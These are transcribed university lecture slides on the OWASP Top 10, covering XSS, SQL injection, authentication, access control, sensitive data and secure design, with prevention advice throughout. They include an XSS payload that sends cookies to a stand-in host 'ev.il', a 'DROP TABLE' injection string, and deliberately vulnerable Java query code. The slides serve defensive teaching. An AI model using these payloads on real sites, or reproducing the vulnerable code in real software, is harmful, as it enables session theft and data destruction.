OWASP Web Application Security Project Guide 07 PDF

Summary

This document presents an overview of the OWASP (Open Web Application Security Project) project, focusing on core values, top 10 vulnerabilities, and various aspects of web application security. It includes examples and explanations, particularly regarding Cross-Site Scripting (XSS) and SQL injection vulnerabilities.

Full Transcript

07 The Open Web Application Security Project® (OWASP) OWASP “ The Open Web Application Security Project® (OWASP) is a nonprofit foundation that works to improve the security of software. Through community-led open source software projects, hundreds of loc...

07 The Open Web Application Security Project® (OWASP) OWASP “ The Open Web Application Security Project® (OWASP) is a nonprofit foundation that works to improve the security of software. Through community-led open source software projects, hundreds of local chapters worldwide, tens of thousands of members, and leading educational and training conferences, the OWASP Foundation is the source for developers and technologists to secure the web. ” DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 3 Core Values “ Open: Everything at OWASP is radically transparent from our finances to our code. Innovative: We encourage and support innovation and experiments for solutions to software security challenges. Global: Anyone around the world is encouraged to participate in the OWASP community. Integrity: Our community is respectful, supportive, truthful, and vendor neutral ” DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 4 OWASP Top 10 1 Injection 6 Security Misconfiguration 2 Broken Authentication 7 Cross-Site-Scripting (XSS) 3 Sensitive Data 8 Insecure Deserialization Exposure 4 XML External Entities 9 Using Components with Known Vulnerabilities 5 Broken Access Control 10 Insufficient Logging & Monitoring DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 5 XSS An attacker can use XSS to send a malicious script to an unsuspecting user The end user’s browser has no way to know that the script should not be trusted, and will execute the script Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site These scripts can even rewrite the content of the HTML page DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 6 Root Cause Web applications vulnerable to XSS......include untrusted data (usually from an HTTP request) into dynamic content......that is then sent to a web user without previously validating for malicious content DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 7 Typical Impact Steal a user's session Steal sensitive data Rewrite the web page Redirect users to malicious website DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 8 Typical Phishing Email Dear valued customer! You won our big lottery which you might not even have participated in! Click on the following totall inconspicious link to claim your prize now! CLICK HER! FREE STUFF! YOU WON! Sincereely yours, Bjorn Kimminich CEO of Juice Shop Inc. Juice Shop Inc. is registered as a bla bla bla bla yadda yadda yadda more assuring legal bla All logos and icons are trademarks of Juice Shop Inc. Copyright (c) 2018 Juice Shop Inc. DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 9 Vulnerable Code Example XSS The search field might forward to the following page when executing the search: Search results for : DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 10 Benign Usage This use of the search field https://my-little-application.com/search.jsp? searchValue=blablubb results in the following HTML on the results.jsp page: Search results for blablubb: rendering as: Search results for blablubb: DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 11 Exploit Example (HTML Injection) However,this use of the search field https://my-little-application.com/search.jsp?searchValue= results in the following HTML on the results.jsp page: Search results for : rendering as: Search results for : DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 12 XSS Attack Payload Examples Stealing User Session new Image().src="http://ev.il/hijack.php?c="+encodeURI(document.cookie); Site Defacement document.body.background="http://ev.il/image.jpg"; Redirect window.location.assign("http://ev.il"); DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 13 Forms of XSS Reflected XSS: Application includes unvalidated and unescaped user input as part of HTML output Stored XSS: Application stores unsanitized user input that is viewed at a later time by another user DOM XSS: JavaScript frameworks & single-page applications dynamically include attacker-controllable data to a page → The previous example vulnerability and exploit of results.jsp is a typical Reflected XSS. DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 14 Prevention Do not include user supplied input in your output! Output Encode all user supplied input e.g. OWASP Java Encoder Perform Allow List Input Validation on user input Use an HTML Sanitizer for larger user supplied HTML chunks e.g. OWASP Java HTML Sanitizer DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 15 Input Validation I - Block List "Allow what is not explicitly blocked!" Example: Do not allow , ", ;, ' and script in user input (:interrobang:) Can be bypassed by masking attack patterns Must be updated for new attack patterns = Negative Security Rule DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 16 Input Validation II - Allow List "Block what is not explicitly allowed!" Example: Allow only a-z, A-Z and 0-9 in user input Provide protection even against future vulnerabilities Tend to get weaker over time when not carefully maintained Can be quite effortsome to define for a whole application = Positive Security Rule DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 17 Bypassing Client Side Validation Client Side Validation is always for convenience, but never for security! You can just stop all outgoing HTTP requests in your browser......and tamper with contained headers, data or passed parameters...after Client Side Validation took place...but before they are actually submitted to the server Sometimes you can just bypass the client entirely and interact with the backend instead DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 19 Injection Injection means tricking an application into including unintended commands in the data sent to an Interpreter which then executes these commands Interpreter Examples Query languages: SQL, NoSQL, HQL, LDAP, XPath,... Expression languages: SpEL, JSP/JSF EL... Template engines: Freemarker, Velocity,... Command line interfaces: Bash, PowerShell,... DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 20 SQL Injection - Typical Impact Bypassing authentication Spying out data Manipulating data Complete system takeover Attackers use error messages or codes to verify the success of an attack and gather information about type and structure of the database. DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 21 Vulnerable Code Example Consider the following code snippet: String query = "SELECT id FROM users " + "WHERE name = '" + req.getParameter("username") + "'" + "AND password = '" + req.getParameter("password") + "'"; For username=bastian and password=secret this query would be created: SELECT id FROM users WHERE name = 'bastian' AND password = 'secret' returning the id of a matching record or nothing if no such record exists. However,... DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 22 Vulnerable Code Example - Cnt'd. For username=bastian and password=; DROP TABLE users;-- this would result in the following query: SELECT id FROM users WHERE name = 'bastian'; DROP TABLE users; --AND password = 'secret' returning the id of user bastian and dropping the table users afterwards. DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 23 Blind SQL Injection Vulnerabilities to SQL Injections are often given away by error message. However, even if error messages do not give away clues to the attacker he can still "take a stab in the dark" The application behavior upon Injection attempts might give away their success/failure Example Injecting boolean conditions (e.g. AND 1 = 2 or AND 1 = 1) to determine injection vulnerability based on returned content DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 24 Root Cause of SQL Injection Creating SQL statements with String operations as follows can cause problems: String query = "SELECT * FROM books WHERE title LIKE '%" + req.getParameter("query") + "%'"; Statement statement = connection.createStatement(); ResultSet results = statement.executeQuery(query); Instead, prepared statements should be used: String query = "SELECT * FROM books WHERE title LIKE '?'"; PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, '%' + searchParam + '%'); ResultSet results = pstmt.executeQuery(); DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 25 Prevention I Avoid the Interpreter entirely if possible! e.g. use tech. stack API and library functions over OS commands Use an interface that supports bind variables, e.g. java.sql.PreparedStatement with bind variables in plain Java SqlCommand() or OleDbCommand() with bind variables in.NET Named parameters in createQuery() of Hibernate DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 26 Prevention II Perform Allow List Input Validation on all user supplied input Enforce Least Privileges for the application's DB user DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 27 Typical Flaws in Authentication Permits brute force or other automated attacks, and default, weak, or well- known passwords Uses weak or ineffective credential recovery and forgot-password processes (e.g. "knowledge-based answers") Uses plain text, encrypted, or weakly hashed passwords Has missing or ineffective multi-factor authentication Exposes Session IDs in the URL Does not rotate Session IDs after successful login Does not properly invalidate Session IDs DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 28 Password Strength Controls I Enforce minimum password length of at least 10 characters Maximum length should allow 64 characters or more No periodic password resets as users rely on predictable patterns Avoid password complexity rules as all of them are predictable DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 29 Password Strength Controls II Ban bad passwords or ones which have appeared in data breaches e.g. Troy Hunt's 10GB+ list or Daniel Miesler's various lists Allow convenience features on password fields Offer Show Password while typing option Allow pasting from clipboard into password fields DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 30 Secure "Forgot Password" Mechanism I Return a consistent message for both existent and non-existent accounts Ensure that the time taken for the user response message is uniform Use a side-channel to communicate the method to reset their password Use URL tokens for the simplest and fastest implementation DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 31 Secure "Forgot Password" Mechanism II Ensure that generated tokens or codes are: Randomly generated using a cryptographically safe algorithm Sufficiently long to protect against brute-force attacks Stored securely Single use and expire after an appropriate period DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 32 Secure Password Storage Use Bcrypt unless you have a good reason not to Set a reasonable work factor (= number of iterations of hashing) for you system Use a salt (modern algorithms do this for you automatically) Consider using a pepper to provide an additional layer of security DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 33 Other Authentication Controls Transmit passwords only over TLS The "login landing page" must be served over TLS as well Prevent Brute-Force Attacks (e.g. throttling or periodic lockout) Require re-authentication for sensitive features Offer optional 2FA / MFA Consider strong transaction authentication DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 34 Two-Factor Authentication “ Two-factor authentication adds a second level of authentication to an account log-in. When you have to enter only your username and one password, that's considered a single-factor authentication. 2FA requires the user to have two out of three types of credentials before being able to access an account.... ” DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 35 Two-Factor Authentication II “... The three types are: Something you know, such as a personal identification number (PIN), password or a pattern Something you have, such as an ATM card, phone, or fob Something you are, such as a biometric like a fingerprint or voice print [^1] ” DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 36 Broken Access Control Access control is supposed to prevent that users can act outside of their intended permissions. Possible Impact of Broken Access Control Access unauthorized functionality and/or data, such as access other users' accounts View sensitive files Modify other users' data Change access rights DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 37 Common Attacks I Modifying URL, internal application state, or HTML page Changing the primary key to another users record Elevation of privilege Acting as a user without being logged in Acting as an admin when logged in as a user Obtaining a higher level of access is also referred to as Vertical Privilege Escalation while same-level access to another user's data is called Horizontal Privilege Escalation. DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 38 Common Attacks II Metadata manipulation Replaying or tampering with access control tokens Cookie or hidden field manipulation Force browsing to authenticated pages as an anonymous user or to privileged pages as a standard user Accessing API with missing access controls for POST, PUT and DELETE DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 39 Prevention Access control is only effective if enforced in trusted server-side code With the exception of public resources, deny by default Implement access control mechanisms once and re-use them throughout the application Enforce record ownership Disable web server directory listing and ensure file metadata and backup files are not present within web roots DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 40 Prevention II Log access control failures, alert admins when appropriate Rate limit API and controller access to minimize the harm from automated attack tooling Access tokens should be invalidated on the server after logout Developers and QA staff should include functional access control unit and integration tests DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 41 Access Control Design Principles 1. Design Access Control thoroughly up front 2. Force all Requests to go through Access Control checks 3. Deny by Default 4. Principle of Least Privilege 5. Don't hardcode roles 6. Log all Access Control events DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 42 Sensitive Data “ Sensitive data such as passwords, credit card numbers, health records, personal information and business secrets require extra protection, particularly if that data falls under privacy laws (EU's General Data Protection Regulation GDPR), financial data protection rules such as PCI Data Security Standard (PCI DSS) or other regulations. [^1] ” DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 43 GDPR “ Regulation (EU) 2016/679 of the European Parliament and of the Council of 27 April 2016 on the protection of natural persons with regard to the processing of personal data and on the free movement of such data, and repealing Directive 95/46/EC (General Data Protection Regulation) ” DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 44 Personal Data as defined in GDPR Name and surname Home address Email address Identification card number Location data (for example on a mobile phone) Internet Protocol (IP) address... § Articles 2, 4(1) and(5) and Recitals (14), (15), (26), (27), (29) and (30) DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 45 Sensitive Personal Data as defined in GDPR Personal data revealing racial or ethnic origin, political opinions, religious or philosophical beliefs Trade-union membership Genetic data, biometric data processed solely to identify a human being Health-related data Data concerning a person's sex life or sexual orientation § Article 4(13), (14) and (15) and Article 9 and Recitals (51) to (56) DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 46 Prevention Classify data in system and determine sensitivity level Don't store sensitive data unnecessarily Encrypt data at rest Ensure up-to-date and strong Standard algorithms Protocols Keys Encrypt data in transit (e.g. TLS) and enforce encryption (e.g. HSTS) DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 47 HTTP Strict Transport Security (HSTS) “ HTTP Strict Transport Security (HSTS) is an opt-in security enhancement that is specified by a web application through the use of a special response header. Once a supported browser receives this header that browser will prevent any communications from being sent over HTTP to the specified domain and will instead send all communications over HTTPS. It also prevents HTTPS click through prompts on browsers. ” DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 48 Secure Cryptographic Storage Design Only store sensitive data that you need Use strong approved Authenticated Encryption Store a one-way and salted value of passwords Ensure that the cryptographic protection remains secure even if access controls fail Ensure that any secret key is protected from unauthorized access Follow applicable regulations on use of cryptography DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 49 Insecure Dependencies I Not knowing used version of dependencies (client- and server-side) Includes directly used components and nested dependencies Used software is vulnerable, unsupported, or out of date Includes OS, Web/Application server, DBMS, Applications, APIs, runtime environments and libraries DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 50 Insecure Dependencies II Lack of regular scans and bulletin subscriptions for vulnerabilities Patch Management Process insufficient or missing Component configuration not secured DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 51 Prevention Remove unused dependencies, unnecessary features, components, files, and documentation Continuously inventory component versions and sub-dependencies Continuously monitor CVE/NVD etc. for vulnerabilities e.g. with OWASP Dependency-Check, Retire.js or npm audit DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 52 Prevention II Subscribe to email alerts for security vulnerabilities related to components you use (especially when using commercial products) Only obtain components from official sources over secure links Prefer signed packages to avoid including a modified, malicious component DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 53 Prevention III Monitor for unmaintained libraries and components Monitor for components that do not create security patches for older versions If patching is not possible, consider deploying a virtual patch Ensure ongoing monitoring, triaging, and applying updates for the lifetime of the application or portfolio DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 54 Insecure Configuration Missing appropriate security hardening across application stack Improperly configured permissions on cloud services Unnecessary features are enabled or installed Default accounts and their passwords still enabled and unchanged DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 55 Insecure Configuration II Overly informative error messages (e.g. revealing stack traces) Latest security features are disabled or not configured securely No proper security headers or directives configured on server Software is out of date or vulnerable DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 56 Secure Design Principles Minimize Attack Surface Area Don't trust Services Establish Secure Defaults Separation of Duties Principle of Least Privilege Avoid Security by Obscurity Principle of Defense in Depth Keep Security simple Fail securely Fix Security Issues correctly DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 57 Minimize Attack Surface Area Every feature that is added to an application adds a certain amount of risk to the overall application The aim for secure development is to reduce the overall risk by reducing the attack surface area DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 58 Establish Secure Defaults The "out-of-box" experience for the user should be secure It should be up to the user to reduce their security - if they are allowed DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 59 Principle of Least Privilege Accounts have the least amount of privilege required to perform their business processes This encompasses user rights and resource permissions, e.g. CPU limits memory network file system DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 60 Principle of Defense in Depth Where one control would be reasonable, more controls that approach risks in different fashions are better In-depth-controls can make severe vulnerabilities extraordinarily difficult to exploit DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 61 Fail securely Whenever a transaction fails or code execution throws an exception it should always "fail closed" and never "fail open" DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 62 Don't trust Services Third party partners more than likely have differing security policies and posture Implicit trust of externally run systems is not warranted All external systems should be treated in a similar fashion DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 63 Separation of Duties Separation of duties is a key fraud control Administrators should not also be users of an application they are responsible for DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 64 Avoid Security by Obscurity Security through obscurity is a weak security control, and nearly always fails when it is the only control The security of key systems should not be reliant upon keeping details hidden DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 65 Keep Security simple Attack surface and simplicity go hand in hand Prefer straightforward and simple code over complex and over-engineered approaches Avoid the use of double negatives and complex architectures when a simpler approach would be faster and simpler DEPARTMENT OF ADVANCED COMPUTING SCIENCES, MAASTRICHT UNIVERSITY COMPUTER SECURITY | 66

Use Quizgecko on...
Browser
Browser